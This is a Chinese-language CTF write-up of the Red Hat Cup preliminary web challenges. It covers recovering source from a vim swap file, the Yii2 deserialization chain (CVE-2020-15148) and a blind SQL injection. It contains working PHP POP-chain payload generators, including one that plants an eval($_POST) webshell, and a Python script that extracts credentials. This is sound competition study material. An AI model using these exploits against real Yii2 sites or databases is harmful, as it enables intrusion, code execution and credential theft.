zoey

谷歌浏览器可正常显示图片

0%

红帽杯初赛wp(web)

web1

扫目录得到

访问robots.txt

访问1ndxx.php,没有结果,尝试访问.1ndxx.php.swp

因为在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容

以 index.php 为例:第一次产生的交换文件名为 .index.php.swp

再次意外退出后,将会产生名为 .index.php.swo 的交换文件

第三次产生的交换文件则为 .index.php.swn

访问.index.php.swp得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));

$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

首先查看fopen,fread,fwrite等函数的用法:

fread读取的值需要打印输出才能显示出来

知道了上面函数的用法,我们可以先分析下面这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
//$I_know_you_wanna_but_i_will_not_give_you_hhh 这个函数就是flag.php的内容
echo $I_know_you_wanna_but_i_will_not_give_you_hhh;

$hack=fopen("hack.php","w") or die("Unable 2 open");
fwrite($hack,"<?php phpinfo();?>111111111112222222222");

fclose($hack);
fclose($file);
echo "<br/>";
echo file_get_contents("hack.php");

进一步分析下面这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));

$hack=fopen("hack.php","w") or die("Unable 2 open");
//$a=$_GET['code'];
//fwrite($hack,$a);//把$a的内容写到hack.php

fwrite($hack, "<?php phpinfo();?>");
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);//把flag.php的内容写到flag.php
fclose($file);
fclose($hack);
echo file_get_contents('hack.php');

可以看到,新写入hack.php的内容把原来hack.php的内容覆盖了,还有是hack.php前面我们写入的内容,后面才是flag.php的内容。

一开始的想法就是输入空值,然后打开hack.php就可以看到flag.php的内容,但发现没有flag。

尝试传入参数?code=<?php phpinfo();?>

然后再打开hack.php输出phpinfo

在phpinfo中搜索flag

本来以为这道题的考点还有无参数rce,结果没有。

web2

在ctfhub上有环境https://www.ctfhub.com/#/challenge

扫描目录发现www.zip

在web/index下输入echo Yii::getVersion();,打印出版本号

可以看到打印出版本号为2.0.32

搜索这个版本或者更高版本的漏洞

参考了这一篇文章https://blog.csdn.net/rfrder/article/details/113824239

漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE编号是CVE-2020-15148

这里有一个序列化函数,再全局搜索__destruct方法

第一个__destruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function seed($seed = null)
{
if ($seed === null) {
mt_srand();
} else {
if (PHP_VERSION_ID < 70100) {
mt_srand((int) $seed);
} else {
mt_srand((int) $seed, MT_RAND_PHP);
}
}
}

//mt_srand() 播种 Mersenne Twister 随机数生成器
//没有什么可以利用的地方,这条利用链到这里就断了

第二个__destruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

public function __destruct()
{
$this->stopProcess();
}

public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private function addProcessToMonitoring(Process $process, array $followingCommands)
{
$this->processes[] = [
'instance' => $process,
'following' => $followingCommands
];
}

public function runProcess()
{
$this->processes = [];
foreach ($this->config as $key => $command) {
if (!$command) {
continue;
}
if (!is_int($key)) {
continue; // configuration options
}
if (method_exists(Process::class, 'fromShellCommandline')) {
//Symfony 4.2+
$process = Process::fromShellCommandline($command, $this->getRootDir(), null, null, null);
} else {
$process = new Process($command, $this->getRootDir(), null, null, null);
}
$process->start();
$this->processes[] = $process;
$this->output->debug('[RunProcess] Starting '.$command);
}
sleep($this->config['sleep']);
}

好像没发现啥危险函数,网上也没有找到利用链,就没有找了。

第三个destruct

继续跟进close(),发现没有什么利用的办法,正常可能链就断了,但是大师傅们的思路就是不一样,这里的_dataReader是可控的,那么调用了close的方法,是不是可以想办法触发__call呢?

__call 方法在对象方法不存在的时候被调用

接下来,全局搜索__call

1
2
3
4
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

因为close是无参方法,所以__call中的$method是close,attributes为空。继续跟进format方法:

1
2
3
4
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

因为**$this->formatters**是可控的,因此getFormatter方法的返回值也是我们可控的,因此call_user_func_array($this->getFormatter($formatter), $arguments);中,回调函数是我们可控的,但是$arguments为空,所以相当于我们现在能干两件事,可以调用yii2中任意的一个无参方法,或者调用原生php的类似phpinfo()这样的无参方法,但是第二种肯定不能RCE,因此还要在yii2中已有的无参方法中进行挖掘:

1
2
3
4
5
6
7
8
9
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}

/* @var $model \yii\db\ActiveRecord */

}

$this->checkAccess$this->id都是我们可控的,相当于直接函数名和参数都可控了,反序列化链至此结束。

1
2
3
4
5
6
7
8
9
10
11
class BatchQueryResult  ->__destruct()
↓↓↓
class BatchQueryResult ->reset()
↓↓↓
class Generator ->__call()
↓↓↓
class Generator ->format()
↓↓↓
class Generator ->getFormatter()
↓↓↓
class IndexAction ->run()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'assert';
$this->id = 'phpinfo();';
}
}
}

namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}

}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}

namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

得到一个不完整的phpinfo

之后测试的时候,发现system、eval之类的一些函数好像都没有效果,猜测可能设置了disable_functions不过最后发现assert能用、file_put_contents()也能用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;


public function __construct(){
$this->checkAccess = 'assert';
$this->id = 'file_put_contents(\'mochu7.php\',\'<?php eval($_POST[7]);?>\');';
}
}
}


namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}


namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;


public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
1
2
$this->checkAccess = 'assert';
$this->id = 'file_put_contents(\'mochu7.php\',\'<?php eval($_POST[7]);?>\');';

web3

打开一个登录界面,尝试过弱密码,sql注入都显示登录失败,查看源代码,发现有一个?id=1的链接

发现id的值是可以修改的,自然想到这里是sql注入,编写脚本,得到登录的账号密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
#爆数据库名
#pay = 'database()'
#爆表

s = ''
#for j in range(1,10):
for i in range(1, 40):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
url = "http://challenge-7a25d7bb8e61f081.sandbox.ctfhub.com:10800/image.php?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),%d,1))<=%s,1,5)"%(i,mid)
r=requests.get(url)
#print(url)
if len(r.text)>1000:
high = mid
else:
low = mid+1
mid = (low + high) // 2
s += chr(int(mid))
print(s)

登录成功是这样一个页面,这里是文件包含漏洞

参考文章:https://blog.csdn.net/rfrder/article/details/113824239